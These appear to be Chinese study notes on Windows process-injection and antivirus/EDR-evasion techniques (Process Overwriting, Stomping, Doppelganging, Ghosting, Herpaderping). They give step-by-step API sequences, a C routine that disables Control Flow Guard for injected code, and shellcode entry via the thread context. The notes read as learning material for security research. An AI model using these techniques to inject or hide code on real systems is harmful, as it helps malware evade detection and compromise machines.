此处为 Process Hollowing 和 Module Overloading 的综合体,当PE被加载到内存时初始为Image内存类型,直接将该部分内存空间覆写为注入的PE,这样避免了Private内存的出现
流程如下:
- CreateProcess 创建一个挂起的合法进程
- VirtualProtectEx 更改Image类型内存属性以便写入
- WriteProcessMemory 将PE覆写
- SetThreadContext 设置上下文
- ResumeThread 恢复挂起进程
CFG概述
在学习Process Overwriting前,先阅读文章:CFG防护机制简单实践与介绍、CFG原理及绕过技巧.md、https://sjc1-te-ftp.trendmicro.com/assets/wp/exploring-control-flow-guard-in-windows10.pdf 、https://www.secforce.com/blog/dll-hollowing-a-deep-dive-into-a-stealthier-memory-allocation-variant/,来学习理解CFG机制在该过程中的影响。简单总结为:
在 windows10和 windows8.1 中引入了,执行流保护(CFG,Control Flow Guard)通过 在间接跳转前插入校验代码,检查目标地址的有效性,进而可以阻止执行流跳转到预期之外的地点,最终及时并有效的进行异常处理,避免引发相关的安全问题。
在编译时启用CFG的模块,编译器会分析出该模块中所有间接函数调用 可达的目标地址,并将这一信息保存在Guard CF Function Table中,编译器还会在所有间接函数调用之前插入一段校验代码,然后根据其Guard CF Function Table来更新 CFG Bitmap 中该模块所对应的位。调用函数时从CFG Bitmap中取出目标地址所对应的位,根据该位是否设置来判断目标地址是否有效。若目标地址有效,则该函数返回进而执行间接函数调用;否则,该函数将抛出异常而终止当前进程
对比如下:


另外:VirtualAlloc系列API函数开辟的Private可执行的内存空间在CFG位图中都被认定是有效的执行目标,不受影响。利用CFG寻找潜在的ShellCode内存
对于保护机制的检查可以使用 winchecksec 进行查看,可见svchost.exe的CFG为开启状态

这里简单测试没有开启CFG的 C:\\windows\\System32\\RtkAudUService64.exe
来进行测试代码,将PE从基址完整覆写

成功注入

既然CFG是通过编译器在函数执行前进行检查,我们直接将未开启CFG的恶意可执行文件覆写这部分内存,那么推测接下来的过程不会触发任何CFG检测。但是结果是触发了CFG,导致程序退出。

x64dbg调试,三个主要的点 rtluserthreadstart -> BaseThreadInitThunk -> LdrControlFlowGuardEnforced
,然后爆出错误

但是具体原因需要仔细研究调试,目前不知道。
CFG的绕过
目前可以利用 SetProcessValidCallTargets 和 InitializeProcThreadAttributeList 和 SetProcessValidCallTargets底层Nt函数
BOOL DisableCfg(PROCESS_INFORMATION pProcessInfo, DWORD victim_size, PVOID victim_base_addr, DWORD cfg_size, PVOID cfg_base) {
_SetProcessValidCallTargets pfnSetProcessValidCallTargets = NULL; GetFunctionAddressFromDll((PSTR)"kernelbase.dll",(PSTR)"SetProcessValidCallTargets",(PVOID*)&pfnSetProcessValidCallTargets); if (pfnSetProcessValidCallTargets == NULL) { return FALSE; } for (unsigned long long i = 0; (i + 15) < victim_size; i += 16) { CFG_CALL_TARGET_INFO tCfgCallTargetInfo = { 0 }; tCfgCallTargetInfo.Flags = 0x00000001; tCfgCallTargetInfo.Offset = (ULONG_PTR)cfg_base - (ULONG_PTR)victim_base_addr + (ULONG_PTR)i; pfnSetProcessValidCallTargets(pProcessInfo.hProcess, victim_base_addr, (size_t)victim_size, (ULONG)1, &tCfgCallTargetInfo); } return TRUE; }
|
效果

过程中一些问题:
Q:将一个无CFG的恶意PE覆写后,再执行,为什么还是会受到CFG的影响呢?
A:可能CFG还对某些API函数进行检查,但是这其中的过程还需要后续深入学习
Q:为什么前面两种对svchost.exe的hollowing方法都没有触发CFG呢?
A:正同上面提到的,VirtualAlloc开辟的空间都被认为是有效的,不受CFG影响。
参考:
https://insinuator.net/2022/09/some-experiments-with-process-hollowing/
https://github.com/f-block/Process-Hollowing
https://github.com/hasherezade/process_overwriting
利用直接 SYSCALL 调用禁用 Control Flow Guard,绕过终端防护软件的检测
Process Stomping*
该变体通过寻找 自带有RWX权限section的PE,将shellcode写入该区域,避免使用了 内存分配 和 VirtualprotectEx,进一步减少敏感函数操作,使得在内存中更加隐秘,此技术基于 Process Mockingjay ,原理请见:Process Mockingjay
流程如下:
- CreateProcess 创建一个挂起的合法进程
- WriteProcessMemory 将shellcode写到RWX的section
- SetThreadContext 设置上下文
- ResumeThread 恢复挂起进程
为了搜索符合条件的PE,我创建了一个小工具:rwx-section: 寻找具有RWX section的PE,用来搜索具有RWX section的PE
X64:

X86:

一些结果:
[+]D:\vsstudio\Community\Common7\IDE\CommonExtensions\Microsoft\TeamFoundation\Team Explorer\Git\usr\bin\msys-2.0.dll [+]D:\Typora\winmm.dll [+]C:\Users\cys\Desktop\GlassWire.exe [+]C:\Users\cys\Desktop\ThemidaDemo32_64\Themida.exe [+]C:\Users\cys\Desktop\ThemidaDemo32_64\Themida64.exe [+]C:\Users\cys\Desktop\ThemidaDemo32_64\ThemidaSDK\SecureEngineSDK32.dll
|
以GlassWire.exe为例,可见其 .themida为RWX权限

写入该区域

可以使用 rip/eip 执行shellcode,既能执行shellcode又能bypass cfg,这样可以让我们绕过所有 CFG 健全性检查,因为线程不会从 CFG 检查函数启动,而是被迫从我们的 shellcode 地址启动。
ctx.Eip = (SIZE_T)(LPBYTE)load_base_shifted;
|

但是要注入的exe需要有完整的dll环境支持。

如果只有单独的exe,没有所需dll,会在线程初始化RtlUserThreadStart报错


PS:不太清楚在windows加载器的流程中能否实现只有单个exe也能注入。
参考:
https://github.com/naksyn/ProcessStomping/
https://www.naksyn.com/edr%20evasion/2023/11/18/mockingjay-revisited-process-stomping-srdi-beacon.html
Process Doppelganging*
于2017年BlackHat2017提出的的一种新的注入手法。同Process Overwriting也是解决内存中Private属性
PPT:eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf
视频:https://www.youtube.com/watch?v=XmWOj-cfixs
项目:https://github.com/hasherezade/process_doppelganging
首先提出 Process Hollowing 以及变体手法 的不足
- 通过unmap 和 VirtualAllocEx:unmap高危操作,VirtualAllocEx开辟的内存不为Image
- 不使用unmap而直接覆写:覆写地址的页属性不是共享的
- unmap后再remap为非Image属性:内存属性不为Image
- unmap后再remap为Image属性:由于Process Hollowing更改了入口点,可以通过
ETHREAD.Win32StartAddress != Image.AddressOfEntryPoint
检测,同时remap创建section需要文件落地。
ETHREAD.Win32StartAddress
是 Windows 内核中的一个字段,表示线程在用户模式下的起始地址。它指向线程执行的第一条指令所在的函数(即线程的启动函数)。当一个线程被创建时,它会被分配一个启动函数,该函数的地址会被存储在 Win32StartAddress
中。
Image.AddressOfEntryPoint
指的是一个可执行文件(如 EXE 或 DLL)的入口点地址。这个地址是程序启动时操作系统加载器跳转到的第一个指令位置。在 Windows 可执行文件(PE 格式)中,AddressOfEntryPoint
是可执行文件头中的一个字段,通常表示程序的 main
函数或 WinMain
函数的地址。
Process Doppelganging的基本原理如下:亮点是通过 利用Windows的 NTFS 事务,创建一个transaction用于打开一个干净的exe,将恶意代码填充后,利用事务回滚特性恢复到干净exe。

流程如下:
打开一个正常文件,创建一个transaction(NtCreateTransaction)
打开源程序句柄(CreateFileTransacted)
向源程序句柄写入shellcode(CreateFile,CreateFileMapping,MapViewOfFile,VirtualAlloc,memcpy,WriteFile)
根据此时的文件内容,创建一个section(NtCreateSection)
回滚到修改事务之前的状态,抹去一系列更改操作(RollbackTransaction)
通过刚刚创建的section,创建进程(NtCreateProcessEx)
准备参数到目标进程(跨进程),我们需要创建新进程的参数,然后将这些参数写入到新进程的PEB中,这是因为新进程需要这些参数来正确地初始化
创建初始线程(NtCreateThreadEx)
唤醒线程(NtResumeThread)

在win10上测试为如下:原因是DF:https://github.com/hasherezade/process_doppelganging/issues/3
Windows Defender’s minifilter called WdFilter has mitigations against transacted process creation.

在win11上测试发现有异常的是,任务管理器中,不显示进程名。



Transacted Hollowing
借鉴了 Process Doppelganging 的 事务特性 和 Process Hollowing 启动进程的便捷性,免去创建进程、准备进程参数的复杂过程,同Process Overwriting 也是解决内存中Private属性,项目:https://github.com/hasherezade/transacted_hollowing
流程如下:

效果:

Process Ghosting*
一种 不涉及NTFS 的全新 “无文件” 手法,通过 设置删除标志位,写入payload映射到内存后自动删除,达到 “临时落地”,在此过程中,AV因为标志位的存在无法打开恶意文件进行检测,技术细节参看文章。
文章:https://www.elastic.co/cn/blog/process-ghosting-a-new-executable-image-tampering-attack
项目:https://github.com/hasherezade/process_ghosting
流程如下:


效果:

Ghostly Hollowing
与 Transacted Hollowing 类似,该方法也是为了免去了Process Ghosting创建进程和准备进程参数的复杂过程,项目代码在Transacted Hollowing中
Process Herpaderping
该方法的原理、实现都和 Ghosting
、Doppelganging
类似,项目:https://github.com/jxy-s/herpaderping
- Ghosting 是删除文件
- Doppelganging 是替换文件的内容(不替换文件)
- Herpaderping 是替换文件和文件内容,其结果是反病毒软件检测执行的进程时,其打开的程序文件内容是我们设定的(比如lsass.exe,包括文件签名)
流程如下:
- 打开一个可读可写的文件
- 向文件写入payload(calc.exe),创建section
- 创建进程A(和Doppelganging一样,使用NtCreateProcessEx)
- 向同一个文件写入伪装的程序,比如lsass.exe
- 关闭并保存文件为output.exe(文件保存至磁盘,磁盘的内容是lsass.exe)
- 准备进程参数,创建线程(这时payload开始执行)
对比表格
针对:Hollowing 、Doppelgänging 、Herpaderping 、Ghosting 有如下对比表格,总的来说越来越隐蔽。
Type |
Technique |
Hollowing |
map -> modify section -> execute |
Doppelgänging |
transact -> write -> map -> rollback -> execute |
Herpaderping |
write -> map -> modify -> execute -> close |
Ghosting |
delete pending -> write -> map -> close(delete) -> execute |
不常见的进程注入
额外窗口内存注入,总体来说利用不稳定,在win10测试没有成功,就不再记录了,
https://www.crowdstrike.com/blog/through-window-creative-code-invocation/
https://modexp.wordpress.com/2018/08/26/process-injection-ctray/
Windows不太常见的进程注入学习小记(一)
Windows不太常见的进程注入学习小记(二)
利用blockdlls和ACG保护恶意进程
玄 - 利用blockdlls和ACG保护恶意进程 - zha0gongz1 - 博客园 (cnblogs.com)
Code injection series
https://blog.sevagas.com/?-Code-injection-series-&lang=en